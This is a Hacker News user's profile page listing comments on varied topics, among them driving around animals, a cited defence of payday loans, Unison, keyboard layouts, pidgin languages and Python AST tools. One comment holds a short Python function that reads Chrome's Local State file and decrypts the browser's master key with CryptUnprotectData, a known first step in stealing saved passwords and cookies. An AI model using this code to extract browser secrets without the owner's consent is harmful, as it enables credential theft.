197 karma · joined Feb 17, 2013 (13y ago) · 49 submissions
comment 4y ago · link · parent
Likewise, unpleasant though it is to admit, it's probably (in many circumstances, especially inclement weather) safer to hit a squirrel or a raccoon that dashes across the road than it is to try to swerve to avoid them. On the other hand, there's going to be a good case from a driver safety perspective to avoid hitting a deer, and it is _critical_ that you attempt to avoid hitting a moose. Obviously, things here get much more complex when you're talking about a child or adult human being.
Point being, I think it's dismissive to just go "the car shouldn't hit anything it detects" - not all objects are equal, even assuming perfect detection (i.e. not mistaking a pothole for a giant rock).
comment 4y ago · link · parent
If any of those apply, that's something you're good at, even if it doesn't feel it. Sometimes being good at something just means feeling like something isn't a challenge for you, when it is a challenge for most other people around you.
comment 4y ago · link · parent
1. Pay the loan on-time (more than 90%; Community Financial Services Association of America, "About the Payday Industry: Myth vs. Reality.")
2. Do not roll over the loan (same source)
3. Are able, in advance, to accurately predict when they will be able to pay off the loan ( https://scholarship.law.columbia.edu/faculty_scholarship/594... )
4. Report having been satisfied with the experience as a whole ( http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.554... )
Furthermore, evidence shows that, on the whole, loans of this nature prevent bankruptcy, foreclosure, bounced checks, and other outcomes ranging from extremely devastating to merely disruptive ( https://www.researchgate.net/publication/5051409_Payday_Holi... ; https://papers.ssrn.com/sol3/papers.cfm?abstract_id=1344397 ; https://digitalcommons.chapman.edu/economics_articles/104/ ).
I think fortunately/unfortunately, most HN readers won't be familiar with the benefits quick, easy access to capital can have for a person, especially those living on the margins of poverty, where missing one e.g. auto or phone payment can have cascading, long-lasting effects, such as losing a job. The nice thing about our distributed, relatively free-market economy though is that every person can act as an independent agent, analyze their own risk tolerance and ability to make responsible use of the financial products available to them, and make choices leveraging personal information that no centralized authority (or blanket rule, such as "loans with interest above 36% should not be permissible in any circumstance") could possibly have access to.
comment 4y ago · link · parent
1. Functions are hashable
2. The codebase and runtime are deployed uniformly to every node
3. Networking these nodes allows functions to be cross-referenced and passed by their hash values
Unfortunately, while the "Haskell-style functional language" part is already implemented, it's not clear to me between https://www.unisonweb.org/docs/faq#where-can-i-learn-more-ab... and https://www.unison-lang.org/articles/distributed-datasets/ whether the "make distributed computing easy" part is.
comment 5y ago · link · parent
That $Y probably ends up being small enough that it doesn't matter to the average high-paid HN reader, but consumer prices do matter to people at the margins. There's a reason ad-supported Kindles exist, even if I personally would never buy one.
comment 5y ago · link · parent
In mammals, there is a well-established "domestication syndrome" with a specific proposed underlying mechanism and associated symptoms, including many observed in humans in comparison with other hominids (smaller jaws/muzzles, smaller teeth, smaller brain, greater docility). See https://www.genetics.org/content/197/3/795#skip-link for more information.
comment 5y ago · link · parent
comment 5y ago · link · parent
def master():
try:
with open(os.environ['USERPROFILE'] + os.sep +
r'AppData\Local\Google\Chrome\User Data\Local State',
"r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
except:
pass
master_key = base64.b64decode(local_state["os_crypt"]
["encrypted_key"])
master_key = master_key[5:]
master_key =
ctypes.windll.crypt32.CryptUnprotectData(
(master_key, None, None, None, 0)[1])
return master_keycomment 5y ago · link · parent
Also, how would this jibe with the parallax-based observations mentioned in the article?
comment 6y ago · link · parent
ctx_mgr = foo() if bar else nullcontext()
with ctx_mgr:
...
if you like.comment 6y ago · link · parent
[0]: https://docs.python.org/2.7/library/contextlib.html#contextl...
comment 6y ago · link · parent
comment 6y ago · link · parent
comment 6y ago · link · parent
1. Only switching to layers when pressing and holding keys, not having them permanently toggle - otherwise, I find it's very easy to get disoriented and mistake what layer you're on.
2. Not using any common keys as toggles, since the sight delay was driving me insane
3. Probably the biggest one - instead of trying to learn/adjust to the layout you have (especially the default, which I found to have a lot of questionable key placements), whenever you press a key and something other that what you expected to happen happens, adjust your layout to make your original intuition work. This involved a lot of frequent small layout changes initially but I think led to a much less intense learning curve.
Anyway, best of luck - here's the layout I use now, if you're interested: https://configure.ergodox-ez.com/layouts/Jrnz/latest/0
comment 6y ago · link · parent
_Groups_ of humans with no common means of communication will form pidgins ( https://en.wikipedia.org/wiki/Pidgin ) as an (essentially grammarless) means of communication; children then raised in an environment where they are exposed to this pidgin will transform it into a true language. Nicaraguan Sign Language has actually proven to be a fascinating example of this in action; many of the first speakers of the original pidgin are, now that successive generations have learned and adapted it, unable to competently produce utterances in the now-language.
comment 7y ago · link · parent
I'll give an example: if I get a phishing email claiming to be from my bank, and end up wiring them $1000, I'm out $1000 for not having done the due diligence for verifying that it in fact was my bank; my bank doesn't suddenly owe me $1000. Somehow, though, if some 3rd party convinces the bank they're me, and withdraws $1000 from my account, I'm at fault as a victim of "identity fraud" (and am again out $1000, but this time as a result of my bank's incompetence).
If the onus for verifying your identity were on institutions (and, consequently, the losses in cases of failure to do so) I'm confident that we would have much more reliable means of personal identification magically pop into existence.
comment 7y ago · link · parent
comment 7y ago · link · parent
23.
Europython 2018 – Exploring the Python abstract syntax tree ecosystem [video](youtube.com ↗)
3 points · by hchasestevens · 8y ago · discuss
comment 8y ago · link · parent
root@8d88e1e678b0:/cpython# astpath -A 1 "//Assign[(targets/Name/@id = following-sibling::*[1][name(.) = 'If']/test/Name/@id)]" > pep-572.txt
root@8d88e1e678b0:/cpython# grep "Lib" pep-572.txt | head -20
./Lib/argparse.py:284 > help = self._root_section.format_help()
./Lib/argparse.py:285 if help:
./Lib/argparse.py:2275 > a = [action for action in positionals
./Lib/argparse.py:2276 if action.nargs in [PARSER, REMAINDER]]
./Lib/cmd.py:300 > doc=getattr(self, 'do_' + arg).__doc__
./Lib/cmd.py:301 if doc:
./Lib/cmd.py:356 > nonstrings = [i for i in range(len(list))
./Lib/cmd.py:357 if not isinstance(list[i], str)]
./Lib/compileall.py:123 > mo = rx.search(fullname)
./Lib/compileall.py:124 if mo:
./Lib/dis.py:386 > show_lineno = linestarts is not None
./Lib/dis.py:387 if show_lineno:
./Lib/dis.py:403 > new_source_line = (show_lineno and
./Lib/dis.py:404 instr.starts_line is not None and
./Lib/enum.py:86 > already = set(value) & set(self._member_names)
./Lib/enum.py:87 if already:
./Lib/enum.py:153 > invalid_names = set(enum_members) & {'mro', }
./Lib/enum.py:154 if invalid_names:
./Lib/enum.py:848 > negative = value < 0
./Lib/enum.py:849 # issue29167: wrap accesses to _value2member_map_ in a list to avoid race
root@8d88e1e678b0:/cpython# grep -E "\.py\:[^w]+>" pep-572.txt | wc -l
412
root@8d88e1e678b0:/cpython# grep -E "/Lib/.+\.py\:[^w]+>" pep-572.txt | wc -l
312comment 8y ago · link · parent
comment 8y ago · link · parent
comment 8y ago · link · parent
29.
Backporting “yield from” to Python 2.7(github.com ↗)
2 points · by hchasestevens · 8y ago · 1 comment
30.
Bellybutton: A fully-customizable linting engine for Python(github.com ↗)
3 points · by hchasestevens · 8y ago · discuss